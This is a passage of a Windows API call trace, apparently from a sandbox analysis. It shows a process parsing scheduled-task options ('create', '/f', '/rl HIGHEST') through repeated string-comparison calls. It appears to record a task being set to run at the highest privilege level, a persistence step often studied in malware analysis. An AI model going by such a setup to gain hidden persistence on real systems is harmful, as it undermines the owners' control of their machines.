_Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ri|") returned 4 [0161.881] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.881] lstrlenW (lpString="|ri|") returned 4 [0161.881] lstrlenW (lpString="|rl|") returned 4 [0161.881] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0161.881] SetLastError (dwErrCode=0x490) [0161.881] lstrlenW (lpString="z") returned 1 [0161.881] lstrlenW (lpString="z") returned 1 [0161.881] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.881] lstrlenW (lpString="rl") returned 2 [0161.881] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.881] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|z|") returned 3 [0161.881] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.881] lstrlenW (lpString="|z|") returned 3 [0161.881] lstrlenW (lpString="|rl|") returned 4 [0161.881] SetLastError (dwErrCode=0x490) [0161.881] lstrlenW (lpString="f") returned 1 [0161.881] lstrlenW (lpString="f") returned 1 [0161.881] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.881] lstrlenW (lpString="rl") returned 2 [0161.881] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.882] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.882] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.882] lstrlenW (lpString="|f|") returned 3 [0161.882] lstrlenW (lpString="|rl|") returned 4 [0161.882] SetLastError (dwErrCode=0x490) [0161.882] lstrlenW (lpString="v1") returned 2 [0161.882] lstrlenW (lpString="v1") returned 2 [0161.882] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.882] lstrlenW (lpString="rl") returned 2 [0161.882] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.882] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|v1|") returned 4 [0161.882] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.882] lstrlenW (lpString="|v1|") returned 4 [0161.882] lstrlenW (lpString="|rl|") returned 4 [0161.882] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0161.882] SetLastError (dwErrCode=0x490) [0161.882] lstrlenW (lpString="xml") returned 3 [0161.882] lstrlenW (lpString="xml") returned 3 [0161.882] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.882] lstrlenW (lpString="rl") returned 2 [0161.882] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.882] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|xml|") returned 5 [0161.882] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.882] lstrlenW (lpString="|xml|") returned 5 [0161.882] lstrlenW (lpString="|rl|") returned 4 [0161.882] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0161.882] SetLastError (dwErrCode=0x490) [0161.882] lstrlenW (lpString="ec") returned 2 [0161.883] lstrlenW (lpString="ec") returned 2 [0161.883] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.883] lstrlenW (lpString="rl") returned 2 [0161.883] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.883] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ec|") returned 4 [0161.883] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.883] lstrlenW (lpString="|ec|") returned 4 [0161.883] lstrlenW (lpString="|rl|") returned 4 [0161.883] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0161.883] SetLastError (dwErrCode=0x490) [0161.883] lstrlenW (lpString="rl") returned 2 [0161.883] lstrlenW (lpString="rl") returned 2 [0161.883] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.883] lstrlenW (lpString="rl") returned 2 [0161.883] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.883] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.883] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rl|") returned 4 [0161.883] lstrlenW (lpString="|rl|") returned 4 [0161.883] lstrlenW (lpString="|rl|") returned 4 [0161.883] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0161.883] SetLastError (dwErrCode=0x0) [0161.883] SetLastError (dwErrCode=0x0) [0161.883] lstrlenW (lpString="HIGHEST") returned 7 [0161.883] lstrlenW (lpString="-/") returned 2 [0161.883] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0161.883] SetLastError (dwErrCode=0x490) [0161.883] SetLastError (dwErrCode=0x490) [0161.883] SetLastError (dwErrCode=0x0) [0161.884] lstrlenW (lpString="HIGHEST") returned 7 [0161.884] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0161.884] SetLastError (dwErrCode=0x490) [0161.884] SetLastError (dwErrCode=0x0) [0161.884] _memicmp (_Buf1=0x15d570, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.884] lstrlenW (lpString="HIGHEST") returned 7 [0161.884] lstrlenW (lpString="HIGHEST") returned 7 [0161.884] lstrlenW (lpString=" \x09") returned 2 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0161.884] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0161.884] GetLastError () returned 0x0 [0161.884] lstrlenW (lpString="HIGHEST") returned 7 [0161.884] lstrlenW (lpString="HIGHEST") returned 7 [0161.884] SetLastError (dwErrCode=0x0) [0161.884] SetLastError (dwErrCode=0x0) [0161.884] lstrlenW (lpString="/f") returned 2 [0161.884] lstrlenW (lpString="-/") returned 2 [0161.884] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0161.884] lstrlenW (lpString="create") returned 6 [0161.884] lstrlenW (lpString="create") returned 6 [0161.884] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.884] lstrlenW (lpString="f") returned 1 [0161.884] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.885] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|create|") returned 8 [0161.885] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.885] lstrlenW (lpString="|create|") returned 8 [0161.885] lstrlenW (lpString="|f|") returned 3 [0161.885] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0161.885] SetLastError (dwErrCode=0x490) [0161.885] lstrlenW (lpString="?") returned 1 [0161.885] lstrlenW (lpString="?") returned 1 [0161.885] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.885] lstrlenW (lpString="f") returned 1 [0161.885] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.885] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|?|") returned 3 [0161.885] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.885] lstrlenW (lpString="|?|") returned 3 [0161.885] lstrlenW (lpString="|f|") returned 3 [0161.885] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0161.885] SetLastError (dwErrCode=0x490) [0161.885] lstrlenW (lpString="s") returned 1 [0161.885] lstrlenW (lpString="s") returned 1 [0161.885] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.885] lstrlenW (lpString="f") returned 1 [0161.885] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.885] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|s|") returned 3 [0161.885] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.885] lstrlenW (lpString="|s|") returned 3 [0161.885] lstrlenW (lpString="|f|") returned 3 [0161.885] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0161.885] SetLastError (dwErrCode=0x490) [0161.886] lstrlenW (lpString="u") returned 1 [0161.886] lstrlenW (lpString="u") returned 1 [0161.886] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.886] lstrlenW (lpString="f") returned 1 [0161.886] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.886] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|u|") returned 3 [0161.886] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.886] lstrlenW (lpString="|u|") returned 3 [0161.886] lstrlenW (lpString="|f|") returned 3 [0161.886] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0161.886] SetLastError (dwErrCode=0x490) [0161.886] lstrlenW (lpString="p") returned 1 [0161.886] lstrlenW (lpString="p") returned 1 [0161.886] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.886] lstrlenW (lpString="f") returned 1 [0161.886] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.886] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|p|") returned 3 [0161.886] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.886] lstrlenW (lpString="|p|") returned 3 [0161.886] lstrlenW (lpString="|f|") returned 3 [0161.886] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0161.886] SetLastError (dwErrCode=0x490) [0161.886] lstrlenW (lpString="ru") returned 2 [0161.886] lstrlenW (lpString="ru") returned 2 [0161.886] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.886] lstrlenW (lpString="f") returned 1 [0161.886] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.886] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ru|") returned 4 [0161.887] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.887] lstrlenW (lpString="|ru|") returned 4 [0161.887] lstrlenW (lpString="|f|") returned 3 [0161.887] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0161.887] SetLastError (dwErrCode=0x490) [0161.887] lstrlenW (lpString="rp") returned 2 [0161.887] lstrlenW (lpString="rp") returned 2 [0161.887] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.887] lstrlenW (lpString="f") returned 1 [0161.887] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.887] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|rp|") returned 4 [0161.887] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.887] lstrlenW (lpString="|rp|") returned 4 [0161.887] lstrlenW (lpString="|f|") returned 3 [0161.887] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0161.887] SetLastError (dwErrCode=0x490) [0161.887] lstrlenW (lpString="sc") returned 2 [0161.887] lstrlenW (lpString="sc") returned 2 [0161.887] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.887] lstrlenW (lpString="f") returned 1 [0161.887] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.887] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sc|") returned 4 [0161.887] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.887] lstrlenW (lpString="|sc|") returned 4 [0161.887] lstrlenW (lpString="|f|") returned 3 [0161.887] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0161.887] SetLastError (dwErrCode=0x490) [0161.888] lstrlenW (lpString="mo") returned 2 [0161.888] lstrlenW (lpString="mo") returned 2 [0161.888] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.888] lstrlenW (lpString="f") returned 1 [0161.888] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.888] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|mo|") returned 4 [0161.888] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.888] lstrlenW (lpString="|mo|") returned 4 [0161.888] lstrlenW (lpString="|f|") returned 3 [0161.888] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0161.888] SetLastError (dwErrCode=0x490) [0161.888] lstrlenW (lpString="d") returned 1 [0161.888] lstrlenW (lpString="d") returned 1 [0161.888] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.888] lstrlenW (lpString="f") returned 1 [0161.888] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.888] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|d|") returned 3 [0161.888] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.888] lstrlenW (lpString="|d|") returned 3 [0161.888] lstrlenW (lpString="|f|") returned 3 [0161.888] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0161.888] SetLastError (dwErrCode=0x490) [0161.888] lstrlenW (lpString="m") returned 1 [0161.888] lstrlenW (lpString="m") returned 1 [0161.888] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.888] lstrlenW (lpString="f") returned 1 [0161.888] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.888] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|m|") returned 3 [0161.889] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.889] lstrlenW (lpString="|m|") returned 3 [0161.889] lstrlenW (lpString="|f|") returned 3 [0161.889] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0161.889] SetLastError (dwErrCode=0x490) [0161.889] lstrlenW (lpString="i") returned 1 [0161.889] lstrlenW (lpString="i") returned 1 [0161.889] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.889] lstrlenW (lpString="f") returned 1 [0161.920] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.920] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|i|") returned 3 [0161.920] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.920] lstrlenW (lpString="|i|") returned 3 [0161.920] lstrlenW (lpString="|f|") returned 3 [0161.920] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0161.920] SetLastError (dwErrCode=0x490) [0161.920] lstrlenW (lpString="tn") returned 2 [0161.920] lstrlenW (lpString="tn") returned 2 [0161.920] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.921] lstrlenW (lpString="f") returned 1 [0161.921] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.921] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tn|") returned 4 [0161.921] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.921] lstrlenW (lpString="|tn|") returned 4 [0161.921] lstrlenW (lpString="|f|") returned 3 [0161.921] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0161.921] SetLastError (dwErrCode=0x490) [0161.921] lstrlenW (lpString="tr") returned 2 [0161.921] lstrlenW (lpString="tr") returned 2 [0161.921] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.921] lstrlenW (lpString="f") returned 1 [0161.921] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.921] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|tr|") returned 4 [0161.921] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.921] lstrlenW (lpString="|tr|") returned 4 [0161.921] lstrlenW (lpString="|f|") returned 3 [0161.921] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0161.921] SetLastError (dwErrCode=0x490) [0161.921] lstrlenW (lpString="st") returned 2 [0161.921] lstrlenW (lpString="st") returned 2 [0161.921] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.921] lstrlenW (lpString="f") returned 1 [0161.921] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.921] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|st|") returned 4 [0161.921] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.921] lstrlenW (lpString="|st|") returned 4 [0161.921] lstrlenW (lpString="|f|") returned 3 [0161.922] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0161.922] SetLastError (dwErrCode=0x490) [0161.922] lstrlenW (lpString="sd") returned 2 [0161.922] lstrlenW (lpString="sd") returned 2 [0161.922] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.922] lstrlenW (lpString="f") returned 1 [0161.922] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.922] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|sd|") returned 4 [0161.922] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.922] lstrlenW (lpString="|sd|") returned 4 [0161.922] lstrlenW (lpString="|f|") returned 3 [0161.922] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0161.922] SetLastError (dwErrCode=0x490) [0161.922] lstrlenW (lpString="ed") returned 2 [0161.922] lstrlenW (lpString="ed") returned 2 [0161.922] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.922] lstrlenW (lpString="f") returned 1 [0161.922] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.922] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ed|") returned 4 [0161.922] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.922] lstrlenW (lpString="|ed|") returned 4 [0161.922] lstrlenW (lpString="|f|") returned 3 [0161.922] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0161.922] SetLastError (dwErrCode=0x490) [0161.922] lstrlenW (lpString="it") returned 2 [0161.922] lstrlenW (lpString="it") returned 2 [0161.922] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.923] lstrlenW (lpString="f") returned 1 [0161.923] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.923] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|it|") returned 4 [0161.923] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.923] lstrlenW (lpString="|it|") returned 4 [0161.923] lstrlenW (lpString="|f|") returned 3 [0161.923] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0161.923] SetLastError (dwErrCode=0x490) [0161.923] lstrlenW (lpString="et") returned 2 [0161.923] lstrlenW (lpString="et") returned 2 [0161.923] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.923] lstrlenW (lpString="f") returned 1 [0161.923] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.923] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|et|") returned 4 [0161.923] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.923] lstrlenW (lpString="|et|") returned 4 [0161.923] lstrlenW (lpString="|f|") returned 3 [0161.923] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0161.923] SetLastError (dwErrCode=0x490) [0161.923] lstrlenW (lpString="k") returned 1 [0161.923] lstrlenW (lpString="k") returned 1 [0161.923] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.923] lstrlenW (lpString="f") returned 1 [0161.923] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.923] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|k|") returned 3 [0161.923] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.923] lstrlenW (lpString="|k|") returned 3 [0161.923] lstrlenW (lpString="|f|") returned 3 [0161.924] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0161.924] SetLastError (dwErrCode=0x490) [0161.924] lstrlenW (lpString="du") returned 2 [0161.924] lstrlenW (lpString="du") returned 2 [0161.924] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.924] lstrlenW (lpString="f") returned 1 [0161.924] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.924] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|du|") returned 4 [0161.924] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.924] lstrlenW (lpString="|du|") returned 4 [0161.924] lstrlenW (lpString="|f|") returned 3 [0161.924] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0161.924] SetLastError (dwErrCode=0x490) [0161.924] lstrlenW (lpString="ri") returned 2 [0161.924] lstrlenW (lpString="ri") returned 2 [0161.924] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.924] lstrlenW (lpString="f") returned 1 [0161.924] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.924] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|ri|") returned 4 [0161.924] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.924] lstrlenW (lpString="|ri|") returned 4 [0161.924] lstrlenW (lpString="|f|") returned 3 [0161.924] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0161.924] SetLastError (dwErrCode=0x490) [0161.924] lstrlenW (lpString="z") returned 1 [0161.924] lstrlenW (lpString="z") returned 1 [0161.924] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.924] lstrlenW (lpString="f") returned 1 [0161.925] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.925] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|z|") returned 3 [0161.925] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.925] lstrlenW (lpString="|z|") returned 3 [0161.925] lstrlenW (lpString="|f|") returned 3 [0161.925] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0161.925] SetLastError (dwErrCode=0x490) [0161.925] lstrlenW (lpString="f") returned 1 [0161.925] lstrlenW (lpString="f") returned 1 [0161.925] _memicmp (_Buf1=0x15c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.925] lstrlenW (lpString="f") returned 1 [0161.925] _memicmp (_Buf1=0x15c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.925] _vsnwprintf (in: _Buffer=0x15c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.925] _vsnwprintf (in: _Buffer=0x15c270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc248 | out: _Buffer="|f|") returned 3 [0161.925] lstrlenW (lpString="|f|") returned 3 [0161.925] lstrlenW (lpString="|f|") returned 3 [0161.925] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0161.925] SetLastError (dwErrCode=0x0) [0161.925] SetLastError (dwErrCode=0x0) [0161.925] GetProcessHeap () returned 0x140000 [0161.925] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x20) returned 0x15cd90 [0161.925] _memicmp (_Buf1=0x15bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.925] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x15d2f0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0161.925] lstrlenW (lpString="LIMITED") returned 7 [0161.925] GetProcessHeap () returned 0x140000 [0161.925] RtlAllocateHeap (HeapHandle=0x140000, Flags=0xc, Size=0x10) returned 0x15d590 [0161.925] GetThreadLocale () returned 0x409 [0161.926] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0161.926] GetProcessHeap () returned 